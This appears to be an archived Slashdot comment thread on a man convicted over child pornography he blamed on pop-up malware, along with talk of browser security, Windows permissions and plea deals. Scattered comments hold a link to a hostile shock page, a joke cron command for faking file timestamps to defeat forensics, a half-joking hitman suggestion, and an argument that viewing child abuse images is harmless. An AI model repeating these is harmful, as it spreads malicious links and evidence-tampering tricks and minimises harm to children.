Honestly, how often do these guys think they can pull the virus/trojan/pop-up defense? The only time I have ever seen porno pop-ups is when surfing for warez (which I don't do any more thanks to Linux), visiting hacking sites (white hat, defending my servers), or going to porno sites. A quick check of his browser cache should also reveal what searched he typed into that search engine.

Let me guess

[CaptainZapp]

She had been going to a "religious" group for years and basically had been inducted into a cult; apparently when the husband started objecting to how she was siphoning money to these crooks they told her to make these false accusations in retaliation.

Was the "religous" group an UFO nut cult which achieved notoriority on the internet and has a very active newsgroup (which makes entertaining reading) dedicated to them?

You need to disable Javascript... Even in Mozilla

[evilviper]

Makes me glad for built in pop-up blocking in Mozilla."

*Sigh*

Mozilla's popup blocking works right now, only because Moz is such a minority. It would take only a trivial change in current popup javascript code to get around it.

In fact the only way to keep control of your own browser (rather than letting anonymous website authors do whatever the hell they want to your own computer) is to disable javascript completely.

If you take a mozilla approach further, and remove all ability for javascript to open pop-up windows, javascript will be left with no legitimate functionality any more. That is, unless you consider the ability to change status-bar text "legitimate functionality".

If you still don't believe that Mozilla's pop-up blocker doesn't work, and you don't think that javascript is disable, just visit the Not-Safe-For-Work, Burn-Your-Eyes-Out, Goatse-like fest that is http://www.nero-online.org/lastmeasure/

Imgaine a System Level Trojan

[legomad]

It boots up even before windows so all software can't even see it. That would be nuts.

Re:You can't laugh this off, not even with Mozilla

[ymgve]

I call bullshit. Mozilla and other alternative browsers makes all the difference, since they don't contain the pool of bile that is ActiveX. That some spyware authors try to exploit holes doesn't mean anything, since the Mozilla developers are actively fighting and closing these holes, in contrast to Microsofts IE team that still hasn't closed even the most obvious holes.

And I really find your java trojan story quite unlikely. Sure you didn't get it from somewhere else? Got any documentation that java trojans that install FTP servers even exist?

Re:stop this? me?

[0BoDy]

This information is correct, but impossible to do with anything less than a power user. With windows XP, You can't install games as a user, and if you install them as superuser then you have to manually tweak permissions to allow users access to them. It's a lose-lose. In l,inux, I can open my term and "su -" but in windows I can't do that at all, I'm just hosed when I try. I support a user who has stopped using administrator privaledges, but He's still gotten hijacked. The solution needs to be securer software.

It's even worse

[jandersen]

You know how many mail clients display HTML mails in the preview pane? This is of course cool, if you like that kind of gimmicks, but imagine a HTML SPAM mail with a bunch of references to a child porn site. Simply by previewing you would access child pornography; the references could even be in the form of 'invisible' pictures, so you wouldn't realize, and the title could be something likely, like:

'Mail Delivery Failure: ...'

Wouldn't you click on it, just to se what that might be?

Why would anybody want to send that kind of mails? Well, why would anybody send stupid SPAM or write viruses and worms? And yet it happens. And if everybody seems to access child porn, perhaps it is not so easy to catch the real criminals.

This, BTW, is yet another reason why I prefer Mozilla's Thunderbird: it allows you to simply turn off interpretation of HTML - instead you see the HTML source. Not as pretty, but not as dangerous.

It hit two major banks....

[hughk]

A friend runs a website specificially orientated towards foreigners working in a particular city. They meet once a week and enjoy some beers. They have a website run on a popular host whose catch-phrase is "50megs for free".

I'm in charge of a mailshot for the Ski Club in the same town and I usually give these other guys a plug.

Until recently. I get an aguished call from a very nice lady working at a central bank. She clicked on the link and was faced with porn. I work at a major bank under an up to date patched XP with the guy that runs the beers site. I had no problem from Mozilla but when my colleague tried with IE, it replaced his home page with porn and then lots of pop-ups. It also installed something that reinstalled itself whenever he tried to change. Ironically, it turns out that this was promoting a system-cleaning utility.

My colleague had not put this on the web-site and the hoster denies ever putting anything like that up. We don't know what happened and a couple of days later it was gone. The thing is that it went straight past the defences of two major banks and was very embarassing.

Not only the local cache but squid would have been fllled with these images. Nasty for everyone.

The point is that yes, if someone looked at the dates on the cache, it could be traced to a single incident but in many places, you would have been thrown out by then.

Salem Witch Trials: history repeating

[ajs318]

In order to make any sense of this, we need to understand a bit about psychology. Men today are basically -- and with good reason -- shit-scared of being accused of any sexual offence, but especially paedophilia. You only have to look at the news reports on TV and in the papers.

So we live in denial. We try to pretend there is no such thing. But as soon as a real, live person is discovered who is suspected of being a paedophile, then a defensive mechanism which dates back to cave-man times kicks in. We are so desperate not to be that suspect, because we are doubly afraid -- revulsion at the thought that we might be capable of doing that, plus fear of the punishment we are conditioned to expect. All the time, we are exposed through the media to a gamut of images such as Britney Spears dancing erotically in clothing reminiscent of school uniform. And children -- especially girls {Western society has pretty much abandoned boys altogether, but that's another story} -- are adopting what would traditionally have been seen as the trappings of adulthood at a much younger age. These conditions are an ideal breeding ground for irrational behaviour.

People attack suspected paedophiles because they don't want to be suspected of paedophilia themselves; and if you are in a vigilante mob, baying for blood with the rest of them, then obviously nobody else in that mob thinks you would make a good next victim.

Re:Salem Witch Trials: history repeating

[IWannaBeAnAC]

good insight!

Additionally, I wonder, from a psychology perspective, to what extent pictures of kiddie porn incite people to commit physical acts against kids. That is really, to my mind, where the focus of policing efforts should be. If someone could show some scientifc evidence that links kiddie porn pics to physical offences, then by all means go after the pics as well (even the paintshop ones!), but as far as I know, no such studies have been done.

Considering that people have been sent to jail for writing fantasy stories in their private diary, I think the angle you present is unfortunately the reality.

Re:Salem Witch Trials: history repeating

[ajs318]

I really don't have a problem with people looking at pictures. If some sicko is going to get his filthy rocks off, better from my point of view that he* does so into a box of Kleenex than into any kid of mine. If the picture was made in such a way that involved causing harm to a child, then yes, it's absolutely fair to go after the creator; and if the person who looks at it actually goes on to harm a child, again, it's fair to go after the abuser. But just looking at a picture does not alter the amount of harm done. In fact, if looking at pictures is enough to satisfy a person's urges, so he doesn't actually need to go out and abuse a child, then it's doing good.

But, it's easier to get a result by going after the people looking at the pictures than by going after the actual abusers. And when policemen are on a "points make prizes" system, simple economics take over.

I also think many people are afraid even to look at a child porn picture in case it awakens any latent paedophile tendency lurking in them. The subject is so emotionally charged, that it sets up a kind of positive feedback loop: anybody who questions the hanging, drawing and quartering of anyone remotely suspected of being a paedophile, risks being called one themself.


* I said "he", but women paedophiles do exist, and I wouldn't be surprised by a lesbian serial rapist ..... but that's another story for another time.

Re:Salem Witch Trials: history repeating

[jandersen]

I think you've got hold of the wrong end of this one.

First of all - we're not sort of 'reacting like cavemen' in begin paranoid about paedophiles. For one thing, it is not common in primitive societies to have major qualms about the age of sexual initiation, and it isn't common to feel sexually attracted to children or to your own near relatives. This makes sense biologically: You are more likely to reproduce successfully if you mate with an adult that is not a close relative.

And what we see in Western societies is not that children are forced to grow up earlier, but that the adults are fiercely opposed to taking on adulthood. Eg. we try to look young, we try to avoid responsibility, we require instant gratification (which is why things like fast food and credit cards are such big hits). And this is exactly where the reason for the explosive growth in paedophiles: the current trends in society encourage qualities typical of psychopaths, and paedophiles are simply a special type of psychopaths.

The typical paedophile isn't just 'sexually attracted to children' - although he/she would probably claim that this is the case. Paedophiles violate children and have been known to commit incredible cruelties against children, still claiming that 'it was love'. This is the reason why society - people in general - are attacking paedophiles, not because 'we all have it inside us, and we are afraid of being found out'.

Mac OS X

[xirtam_work]

I switched from Windows to an iMac with OS X last year. I have no problems with spyware, viruses, malware, whatever at home.

At work it is still a nightmare to deal with all the PC's I have to maintain - especailly the home PC that belongs to my boss. His kids are constantly downloading shit and installing it - sometimes without knowing.

Re:You can't laugh this off, not even with Mozilla

[julesh]

Very secure? Running as an Administrator isn't secure. How did it create files in your system directory (assuming %SYSTEMROOT%\SYSTEM32 or anything else under \WINDOWS)? Non-admins don't have permission to create files there.

Erm, yes they do, at least under NT 4.0 Workstation and 2000 Professional with default settings.

Even if they did, it's not hard to change.

True, although it stops a lot of standard software from working, including the drivers for my scanner. Funnily enough, I don't want to have to log in as administrator to use my scanner.

Re:You need to disable Javascript... Even in Mozil

[jellomizer]

"If you take a mozilla approach further, and remove all ability for javascript to open pop-up windows, javascript will be left with no legitimate functionality any more. That is, unless you consider the ability to change status-bar text "legitimate functionality""

Completely removing java script looses more then just the wouldn't it be nice or the wow cool features. Some sites (especially online shopping) or company Intranet and Extranet applications that are web based, use java for such things as client-side syntax checking, price calculations, complex changing state in a form. Java scripts is actually a fairly powerful language and is often extremely underused.

But in this case it was because malware got installed on their system (Installed by vulnerabilities in IE) Then ran in the background. Of the computer that can open up popups without the browser control. It is just opening a new browser.

Re:Child Porn or what? ( RAM DRIVE CACHE)

[Anonymous Coward]

Doesn't work very well if your downloading ISO's unless your got more ram than carter has little liver pills.
IE stores downloads temporarily in the browser cache until it's finished downloading then moves the download to the location you selected to place it. If the cache isn't large enough the download will fail.

I'd consider..

[trezor]

..hiring a hitman for whoever set you up or falsely accused you.

Seriously. If the punishments are this hard, and it's easy as "the touch of a button" getting people convicted, you guys have a problem.

People getting killed for such abuse of the legalsystem might set the balance more straight, though.

/not endorsing murder, but not endorsing ruining innocent lives either

Re:stop this? me?

[grepistan]

I've always mistrusted Real! Who doesn't?

You're right though, spyware comes as a sneaky, mandatory add-on with a lot of allegedly 'free' software these days. Eeeurgh.

I'm not sure that a firewall would necessarily block these browser hijacking things though. AFAIK a lot of these nasties are javascript or ActiveX based and might not be caught by antivirus or firewall software. Regular sweeps with ad-aware or the like along with a firewall & antivirus are just a part of the strategy needed to keep windows b0xen clean, but I'm sure I'm preaching to the choir here.

His attorney should be disbarred

[DeanFox]

He needed to go to trial. Unless there's evidence the article didn't mention. I would have gone to trial. He would have never been convicted on any jury I sat on. I don't know if he's guilty or not. But, I would not convict in the presence of doubt.

The evidence of doubt is overwhelming. There are hundreds of thousands, even millions of people who have been victims of viruses and Trojans. All these are things outsiders downloaded onto someone else's computer without permission.

I would have liked to run ad-aware on the prosecutor's or judge's laptop and entered the results into evidence. How may times have /.ers cleaned off crap from our families PCs.

Guilty or not, there's too much doubt. And, that doubt is reasonable. I will not convict if I am ever a jurist on one of these trials. I guess I wouldn't qualify though. I've pre-judged. Oh well, I guess I'll act stupid until after I get picked.

A Lawyer's Opinions

[Liza]

I'm a lawyer, not a law student. (I'm not your lawyer. I don't practice in your jurisdiction. This isn't legal advice. And I've never been a prosecutor or a criminal defense attorney. But I have worked a lot on issues related to kids, sexual content, and the Internet.)

Any possession, whatsoever, of child porn is a federal felony offense. It doesn't matter how you got it, that you didn't want it, or that the computer made you do it.

Maybe you could challenge the statute, but good luck finding a lawyer who wants to argue that possession of actual child porn shouldn't be illegal because the statute didn't include an element of mens rea. The ACLU had a hard enough time challenging the law prohibiting images that just looked like child porn, but didn't involve actual children.

Back in 1998 or 1999, there was a senior exec at Infoseek who was arrested for travelling interstate to have sex with a minor -- who turned out to be an FBI agent, not a little girl. He was also charged with possession of child porn.

When the case finally went to trial, he brought out expert witnesses, who were able to convince the jury that plenty of people go online and pretend to be someone other than they are to have sex. He said that he never thought she was a real child; he thought she was a woman who liked to pretend she was a child having sex.

As I remember it, he agreed to a plea during the trial. I think the prosecutors must have found the expert persuasive. Ultimately, he pled guilty to possession of child porn, and agreed to some sort of community service helping the FBI improve its enforcement of child sexual exploitation laws.

In this case, here's what I think happened: This shmuck was deliberately looking at porn that was, at the very least, borderline. But he didn't want to admit it. And he was afraid of the cost of defending himself. So he copped a plea, and now regrets it.

Judges won't let you plead guilty unless they are convinced that you understand what you are agreeing to, and what rights you are giving up by pleading guilty. But they can't stop you from making a stupid decision. That's why you have a lawyer.

Incidently, in many cases a public defender is going to get a better deal for a defendant than an average defense lawyer. (Texas is an infamous counter-example.)

Why? They're in the system all the time. They have a relationship with the judges and the prosecutors. In that plea negotiation process, they know how strong or weak the case is, and the judge and prosecutor know that someone with whom they work frequently isn't going to bullshit them. (Or they know the person is always full of shit, but I'm talking about a good public defender.)

Who are you more likely to offer a good plea agreement to -- someone you work with every week, who has pretty much backed up what he's said when you've gone to trial with a weak case before? Or someone you don't know or have worked with occasionally, who might be right that your case is weak or might be completely full of it?

Of course, none of this applies if you can afford a seriously elite defense lawyer. Like the Infoseek guy had, or OJ, or Martha Stewart. But many elite defense lawyers worked as public defenders for a few years early in their careers.

Liza

Re:A Lawyer's Opinions

[DDX_2002]

18 USC 2252A does have a mens rea requirement, though - the offence is "knowingly" possessing, using, copying etc. There may well be other federal statutes (not to mention state laws), but that's just the first that came up and sadly "slashdot" isn't an accepted client code for LEXIS round here. I would question how you make someone criminally liable for possession if they had no knowledge that they did in fact possess the thing in question - how can there be any voluntariness?

As always, IAAL (but probably not in your jurisdiction), my practice isn't related to the matters I usually post on, this isn't legal advice, and if you rely on legal information from internet postings not only do I disclaim any liability but I think you're an idiot.

Re:A Lawyer's Opinions

[Liza]

But as always, the language is a little tricky.

The bit I think people get in trouble for is "knowingly recieves ... any material that contains child pornography that has been mailed, or shipped or transported in interstate or foreign commerce by any means, including by computer."

"knowingly" doesn't always require actual knowledge. If you should have known, you can't generally defend yourself by claiming you didn't actually know.

You can't claim you didn't know a chair would shatter and maybe hurt someone when you threw it off the roof, or that you didn't know there was someone around that corner when you turned too fast and ran them over.

It isn't a huge stretch for a finder of fact to say, "the guy was looking at all this 'Lolita' and 'barely legal' porn -- he knew or should have known that some of it was illegal."

That's my view of it, anyway. And I agree with the parent's sig. If you think this is legal advice, I think you're an idiot. :)

Liza

Re:You need to disable Javascript... Even in Mozil

[evilviper]

use java for such things as client-side syntax checking, price calculations

Yes, yes they do. Still, that is because of stupidity on the part of the web designer.

There are plenty of sites that do the exact same thing on the server-side, hence no need for javascript. If a companies store does not work without javascript, I don't buy anything from them.

Netflix is a borderline website. Things like rating titles require javascript, but none of the other features do, so I can still use 95% of the functionality of the site without javascript... That's the only reason I'm still subscribed.

But in this case it was because malware got installed on their system

Yes, I know this isn't directly on-target, but javascript was mentioned, so I thought it a good place.

Regardless of this case, I have run into people who's home page has been set to a porn site (by javascript), so everytime they opened their browser they had hundreds of popups load, and two would popup for every one they closed.

Interesting

[Pan T. Hose]

The Browser made me do it!!!

I would think the justice department would be able to see if all the images in the cache were dated from that one single event or if they were spread over time. If he's telling the truth, it should be easy to prove.

Interesting.

(Note to self: add "find ~/porn -exec touch {} \;" to my daily crontab.)

Leadbelly

[kardar]

Leadbelly sang "Gallows Pole", the song that Led Zeppelin covered; basically, true story - a long time ago here in the US, you could buy your way out of a death sentence, a hanging. If you didn't have any money, or if your mother, or your brother, didn't bring you some silver, or bring you some gold, there was nothing to keep you from the gallows pole. It's a true story, and people love the blues. Hey, man this story gives me the blues. Right on.

I think that what this is all about is just basically learning the customs of America, as illogical and backwards as they may seem. Get "in the know", and you will know what you can do and what you can do, even if you went to another country people would think that you are weird.

That's the way it is.

Point being, there is a way you can stay out of trouble if you try. It's not that hard.

Dave Barry....

[niittyniemi]

[District Attorneys] learn in District Attorney School that there are
two sure-fire ways to get a lot of favorable publicity:

..(2)
Raid an "adult book store" and hold a press conference where you
announce you are charging the owner with 850 counts of being a
piece of human sleaze. This also never fails, because you always
get a conviction. A juror at a pornography trial is not about to
state for the record that he finds nothing obscene about a movie
where actors engage in sexual activities with live snakes and a
fire extinguisher. He is going to convict the bookstore owner, and
vote for the death penalty just to make sure nobody gets the wrong
impression.

Lie detector tests?

[Pan T. Hose]

If the accusee is innocent, plea bargaining is never a wise move, no matter what one's lawyer advises. Lawyers are out to help themselves, not their clients. Fight them, take lie detector tests, show them your home PC, whatever it takes to establish your innocence.

And don't forget to read The Lie Behind the Lie Detector while you're at it...

Re:Welcome to the future. (Slightly OT)

[Famatra]

"Advertising isn't intended to sell something to consumers"

One theory, by Marshall McLuhan, is that commercials aren't meant for people to *buy* the product, but simply to reassure people who did buy it to buy it again.

As for studies to indicate the effectivenss of advertising, it is somewhat easy to find this out. You take a group of people, randomly split them into two, one gets to watch a blank screen for 30 seconds, the other gets to watch a screen with pepsi on it (with probably some other stimulus for both groups to hide what the experimenter is doing like maybe a short film for both as well). Then you observe both groups to see if there is any differences in behaviour when walking past a pepsi pop machine placed outside the room.

Yes, you can!

[zonix]

I myself had a Java based trojan install an ftp daemon in my system folder with an INI file that had accounts named 'xdcc-warez' etc..

It sounds like one of the CWS (CoolWebSearch) variants. I'd just like to point out that these exploit a hole in Microsofts Java VM. Rip it out, install Sun's Java!

When the damage is done some of these variants are known to change your trusted site settings for Internet Explorer, enabling them to install even more crap without user intervention via ActiveX. The CWS variants are the most malevolent spyware components to date (they trash your machine and replace executables such as Windows Media Player - again without user intervention). As stated they exploit security vulnerabilities in Microsoft's browser technologies and to some extend the operating system itself.

So, IMHO you can laugh it off if you use other browser alternatives, and you can surely laugh it off if you switch to another OS.

z

Apache vs. IIS.

[zonix]

Some folks will probably reply that when Linux gets more common, there will be crapware for linux too. This may or may not be the case (depends on whether you buy the "windows gets attacked because it's popular" argument).

I'm increasingly having a hard time believing that argument myself. Compare Apache's 67% market share to Microsoft IIS's 21.5% (it was at 35% back in 2002). IIS's security track record speaks for itself - Code Red anyone?

It's not like Apache is suffering by it's own popularity? Remember, these services are usually openly exposed by default for a huge amount of people to exploit.

z

not negligent

[ChristTrekker]

You're wrong. This is more like his house being broken into, incriminating evidence planted, having his sorry butt hauled away to jail for it - and you wanting to blame the poor sap for not having good enough locks on the doors.

There's Something Missing

[buzzoff]

Why is everyone arguing over the legal stuff from the beginning? We skipped the part about pornography being wrong. We went straight to defending the "victim".

Maybe we should back up and discuss if pornography is wrong before we jump into justification mode.

Re:There's Something Missing

[raind]

Porn is wrong? Who told you that?

VNC

[zonix]

Of course I know about Terminal Services in Windows, but I don't trust those either.

I can highly recommend using VNC together with SSH. Just slap an SSH client on the remote (your parents') machine and have it forward the VNC server's listening port to you. No NAT forwarding or firewall issues either, the connection is established on part of the remote machine (I'm guessing it's ok for the remote machine to establish outgoing connections to TCP port 22).

Of course it requires your parents to login via an SSH client to your SSH server (I'm assuming you have one) and logout when your done, but that's not too difficult.

I use the PuTTY SSH client and the TightVNC VNC server in this scenario. Works great!

z

Re:yrs in prison etc...before the investigation? y

[ChristTrekker]

Watching an ep of The Practice with my wife once got us talking about this situation. Would you lie to make things easier on yourself? We decided if it ever happened to us we'd stick with the truth. The system has perverse incentives. I'd rather take my chances with the jury. One clueful juror* can save your bacon.

(In the story, the incarcerated innocent just had to apologize for "his crime" to the family of the victim, and the parole board would let him out. He stood on principle and refused to admit to a crime he didn't commit.)

*There are four boxes to use in defense of freedom: soap, ballot, jury, ammo. Use in that order.

Re:stop this? me?

[GlassUser]

Incorrect on both counts. You're right that it's usually games that aren't compatible with newer versions of windows, but that's the fault of a few lazy developers. You can install some games, but for the most part, you should not be able to install software unless you're an administrator (there's a difference between per-user and per-machine installs in NT, I don't know about linux).

You can easily open a terminal as another user in windows, or run another program. All you do is use the secondary logon service. Two ways to do this are using the "runas" command and doing a shift right click and choosing "Run As".

The solution is developers learning how to write software that works with the OS it claims to support.

Re:stop this? me?

[swv3752]

Or just run Linux to begin with. Yeah it is often easiest to just Format a Windows system rather than deal with the seemingly infinite number permutations of problems. Yet with Linux, I still have the same Home partition from 1999. Because of a Hard drive replacement, my Mandrake install only goes back to 8.2. Incremental upgrades of a Gnu/Linux OS versions is about the same as running service packs from MS.

Don't laugh at others

[just fiddling around]

I was in the same bag as you, until last weekend.

I updated Windows, have a NAT firewall on a reasonably secure network, use AVG anti-virus, and voilà! I get Sasser.

Sure gets one to turn off the "if you do the right thing, it won't happen" attitude. Not to mention it was a huge blow to my CS master's ego.

Oh, and INCOMING traffic is not the worst that happens. It is OUTGOING traffic that gets you in trouble.

Re:Don't laugh at others

[Foolhardy]

If you were updated, how did you get Sasser?
I guess your network wasn't secure (enough) if someone else was already infected.

Oh, and INCOMING traffic is not the worst that happens. It is OUTGOING traffic that gets you in trouble.

What, for spyware? Or are you saying sites that you go out to? You can only get a worm if you have a gross vulnerability in your web browser (or some other client software)that runs malware, you run it yourself, or you leave incoming ports open.
How did you get infected?

Re:Our Government aren't fools!

[CmdrGravy]

All that swearing makes me picture you as a fat greasy fellow with a beard and an uncontrollable drooling problem covering your monitor in phlegm and spittle.

The post you were replying to never said that Saddam Hussain never ever had any weapons of mass destruction, we know he did because we sold them to him, it said that by the beginning of the war he didn't have any of the weapons we were claiming he did. This would be because he has either destroyed them or used them all up.

A better question would be "Were the justifications for the Iraq war true or were they lies" since you can justify something to yourself any way you like.

The 2 justifications for the war as it was explained to us before the war were that Saddam Hussain had, right now, weapons of mass destruction which he may be preparing to use against us, or maybe someone else and secondly that Saddam Hussain may be in league with Al-Quaida.

Since most people now agree the Al-Quaida connection is nonsense and most people also agree that there weren't actually any WMD either and we haven't found any WMD you have to conclude that the justifications we were given were not true and the was wasn't therefore justified at all.

Since the war ended and it became clear no WMD would be found people have started 'remembering' that the main justification was after all that Saddam Hussain was a really bad man who killed a lot of Kurds and was nasty to his own people. This is a bit of a weak justification for a war now since since we supplied the WMD used against the Kurds themselves and even though we knew what was happening at the time we did nothing whatsoever about it.

Turkey also has a long history of abusing the Kurds ( and human rights abuses ) and yet we aren't doing anything about that except giving them billions of pounds worth of military equipment and aid.

That being the case it looks like all this talk of "an evil regime" whilst true is just being used as a convenient justification after the event since there are a lot of other equally evil actions being carried out in countries all around the world about which we are doing nothing - except perhaps supplying the arms and weaponry to allow it to continue.

Re:Right. So he's guilty of being poor.

[bhtooefr]

WHOA... I call troll...

The AC makes a good point, but that "investivestigation" link makes it a troll. Only follow it if you have done the following:

* Disabled images
* Disabled popups (in Opera, that's "Block all pop-ups", not "Block unwanted pop-ups")
* Disabled JavaScript

It's Nero-Online's Last Measure, in case you didn't know.

Who Should Be In Jail?

[malachid69]

If the malware really did cause the popups that would send someone to jail, couldn't the person/company that wrote the malware go to jail?

Could this be a way to stop people from writing "official" malware (like GAIN)?

CLARIFICATION - Re:If that guy went to jail...

[Compulawyer]

Your last sentence in the comment, "Until lawyers," is out of place and overly broad.

Sorry - that is not my sig. However, the comments I made regarding my sig (which says essentially the same thing) hold true for that comment as well. It is not out of place - it is the central issue. Lawyers who do not know how to properly investigate facts do clients an EXTREME DISSERVICE. If this guy went to jail because of malware, he has been severely victimized by both the malware and by his lawyer. If however, he is making up this story and he actually knew he had kiddie pr0n, I say he should rot in jail for the rest of his life so he can't contribute to the victimization of more kids.

Re:yrs in prison etc...before the investigation? y

[Da VinMan]

Just out of curiosity, as I'm currently an ignorant non-felon, how does having a felony on your record prevent you from starting a business making beer? Is it just preventing you from obtaining a license for offsale, or are you unable to start any business at all?

Already hit pop culture...

[otis wildflower]

... last year or so...

Farm Sluts

bwahaha!

Re:Google Images

[A55M0NKEY]

What if google images indexes an illegal site? Should Google be liable for every possible illegal site that might be out there? Are they distributing it in their thumbnails?

Re:Our Government aren't fools!

[juhaz]

Never existed?

Not during the time they were claimed to exist.

So who do you think launched all those tons of chemical agents on Iran in the Iran-Iraq war?

Iraq, probably. Both sides used chemical agents, trying to make Iraq bigger of those two evils is hypocrisy of worst sort, especially considering that it was probably US government - who were, at the time, utilizing Iraq as a tool against Iran - who supplied those weapons.

Of course few months after the war, since the tool had done it's job and no longer usable, it was convenient to start blaming it.

Who gassed the Kurds with nerve agents?

Just as likely that Iran did. Or both. It was a war after all. The fact is, during these almost 20 years there have been quite a few of viewpoints on this, and nobody knows the plain truth, if there even is one, and anyone claiming to is lying.

Fuck you.

Fuck off and die.

Why don't we all register as sex offenders

[A55M0NKEY]

One big happy sex offender society! lol

Re:stop this? me?

[Tin Foil Hat]

Say, do you know if it's possible to block IE at the firewall?

blackmailers

[RoyalCheese]

Just yesterday someone at work overheard me discussing ditching IE and Outlook Express and using Opera instead because of its pop up blocking etc as he had found his computer infected by some browser hijacker. A third person overheard us and volunteered the following story..

Apparently blackmailers have started sending emails with scripts and innocent looking urls to company mailboxes in the hope that someone will click/open a link, and then download a bit of malware/hijacking software which works in the background (secretly downloading kiddie porn etc, and of course maybe propogating itself on to a few more victims)

Then after a few weeks, the victim is contacted and told where to look on their PC to find this stuff and offered an opportunity to reveal passwords/company secrets/pay money or the blackmailer will turn them in to the cops.

When they look at the browser history, because its been secretly going for a few weeks it doesn't just look like a frame up. Even if they don't plant kiddie porn its still bad as many business do operate a "no porn on pain of instant dismissal" policy.

When someone finally spoke out about it at one company they found nine other victims in the same company who had been keeping quiet about it and hoping to handle it on the blackmailer's terms.

Hook me up, biatch!

[billcopc]

I want to register as a sex offender too, sounds like a great way to meet similar-minded freaks =)

Seriously this sounds like something out of The Onion gone un-funny. You'd think this person could sue someone to death over such a frivolous accusation. The whole taboo over sex in the northwest is just sickening, and is most likely the cause of all this chaos in the first place. Stop parading sex as the evil of all evils, and people will quickly lose interest in rape because it's no longer "cool" in an "evil" sense.

bad malware

[mcguyver]

Clicking the above link install this worm - here are removal instructions.

W32.Wallon.A@mm is a mass-mailing worm that sends email messages containing a hyperlink to download the worm body from certain URLs. It also harvests the email addresses on the infected machine.

The worm exploits the following vulnerability: Microsoft Security Bulletin MS04-004
http://www.microsoft.com/technet/security/bulletin /ms04-004.mspx

Related Web Sites for removal instructions:
http://securityresponse.symantec.com/avcenter/venc /data/w32.wallon.a@mm.html

http://us.mcafee.com/virusInfo/default.asp?id=desc ription&virus_k=125096

Re:You can't laugh this off, not even with Mozilla

[JasonBee]

No kidding eh?

I work at a VERY large Municipal Govt. in Canada with 16000+ pcs across the whole org.

This crud is popping up all over the place, and the install dialogues wrapped in IE Windows are made to look just like system pop-ups or system windows. Very confusing to the users. It's driving me nearly insane

My main concern are the home users. We get tons of incoming viruses and spam mails generated by accidental home pc invasions and installations. My advice after helping guide users in trying to clean this up is to recommend what's ben mentioned many times in this topic: Linux for the power users or MacOS 9/OS X for the general users.

At 150 to 500.00 per pop (to start with!) to clean the home system of junk that sits next to theior last five years of tax filings and bank records (QuickBooks anyone?). Any premium paid for the Mac is paid off in maintenance costs deferred by not needing massive AV protection or complete firewalling to be usable

My observation is that home PC use (Windows), for my clients, is getting intolerable very quickly

Re:You can't laugh this off, not even with Mozilla

[ChaosDiscord]

Running as an Administrator isn't secure.

True enough, but I still do it. Why? My Windows partition exists solely to play games. Lots of games are stupid and assume that they can write all of the drive at well. If you want to play arbitrary modern games under WindowsNT/XP, you're doing it as Administrator. I simply accept this.

Interestingly, the opposite is true of Linux. There was a really good looking RSS aggregator I was interested in; good enough that I was considering purchasing it. However, it pretty much demanded to be installed as root and world write permission for its install directories given to any user accounts who was going to use it. I didn't stand for it, I instead used a less mature product that behaved like software should. (Not perfectly mind you; installing it as a user proved to be a mess. However, once installed as root it worked correctly without unusual permissions.)

My brother administrates a research lab of computers. He's asked to keep a wide selection of software packages available for his users. I regularly listen to his tales of woe as he complains that package X assumes write access to C:\Windows, package Y demands write access to sensitive parts of the Windows registry, and the like.

I work with an eclectic selection of specialized physics simulation software that runs on Unix-like systems (mostly Linux these days). Every single piece I've worked with was quite happy to be dumped into a random directory and run directly by the user .

There is an interesting difference in attitude between Windows and Unix-like systems. On Windows lots of developers assume Administrator access. On a Unix-like system assuming root access is gets you dirty looks. Microsoft officially wants software developers to play nice and support user-installed software and user-used software that was installed by Administrator, but developers simply don't take it seriously. The culture of respecting security boundaries doesn't exist. Sure, there are people doing great work on Windows, but there the main masses of Windows programmers doing specialized work just don't think about it. Microsoft needs to lean harder on them.

Re:Our Government aren't fools!

[WNight]

The point is that the grand-parent poster *lied*. He may be a nice guy, his cause may be the just cause, but he still lied.

Is it too much to ask that people not make shit up in an argument?

All of your reasons why the USA shouldn't have invaded Iraq are irrelevant. Not wrong necessarily, but not at all relevant to the topic that was first brought up, Saddam's past ownership of "WMD"s.

I'm not in the USA so none of this is personal for me, but it does bother me. There are many valid issues to discuss about invading Iraq to remove someone who charitably can be called a brutal dictator. Many Iraqis, both current and expatriates, wanted Saddam removed. Now people are rewriting history, pretending that Saddam never had chemical weapons. Sure, the USA gave them to him, but he was perfectly willing to use them, both in the war as intended and then later in some quiet ethnic cleansing. The world does need to consider the suggestion of removing genocidal dictators. (And yes, when that is up for discussion, so is the question of GW Bush qualifying for UN removal.) These very important discussions are being hampered by morons on both sides who can't see the consequences of their lies. They're so busy making stuff up to justify their views that they don't consider the corner they're backing themselves and everyone else into. (This goes for both sides in this "debate".)

Just admit to the truth. Full stop. You don't get to disqualify facts just because they support someone else's position, they're still facts. Feel free to call the other side on their facts - I haven't seen any proof of current (pre-war) WMDs in Iraq, yet the public was told there was proof. Same rules apply to everyone, they can't invent convenient facts, you can't deny inconvenient ones.

Re:Our Government aren't fools!

[Tonytheloony]

Iraq was invaded for geo-political reasons (that includes oil). Have a nice life dreaming up truths.

Further Reading on Topic

[axjms]

This post reminded me of an excellent book I read on the subject by Joseph Hallinan called Going Up the River : Travels in a Prison Nation. A great muckraking book that is both mind boggling and just down right depressing. If you are interested in this I highly recommend it. Link here.

Re:You can't laugh this off, not even with Mozilla

[Foolhardy]

Good post. The culture differences between Windows and UNIX are just like you said. I wish MS would crack down on ignorant developers too, but it really isn't their job; the users should be complaining more. Microsoft's own software is usually pretty good about it. Games are the worst.
UNIX has commands like su to run programs that require extra priveledges. Windows has runas, psexec, and sud.When I find something that doesn't behave as a lesser user, I create a simple shortcut that uses sud to start that one program as admin or some user with just enough access. It's not perfect but it works.

Re:You can't laugh this off, not even with Mozilla

[Foolhardy]

Erm, yes they do, at least under NT 4.0 Workstation and 2000 Professional with default settings.

I don't have a NT4 or 2k workstation near me, but my xp computer doesn't allow members of the users group to create files in the windows directory.

True, although it stops a lot of standard software from working, including the drivers for my scanner. Funnily enough, I don't want to have to log in as administrator to use my scanner.

The drivers would run in kernel mode. If you're talking about the user interface, then there are workarounds.
Use the SUD program in the second link to create a shortcut to start only your scanner software as an admin. Something like:

su -u Administrator -p password -c scanner.exe

Or at least run IE specifically as a lesser user.

Re:You can't laugh this off, not even with Mozilla

[vanDerGraaf]

MOD PARENT UP!!! I have been using Windows since 3.0 and I have never had a problem with trojans, spyware, etc. Things are more sophisticated now with broadband/always on connections so I too run behind a NAT router and a software firewall to inform me of outgoing communications. It is simple, whenever I am asked (or informed by the firewall) that something is to be loaded that I am not completely _sure_ what it is... I do NOT allow it. I am sure someone out there in /land can provide an exception, but this problem is preventable (if only the clicky-clicky mentality was...)

Re:Child Porn or what? ( RAM DRIVE CACHE)

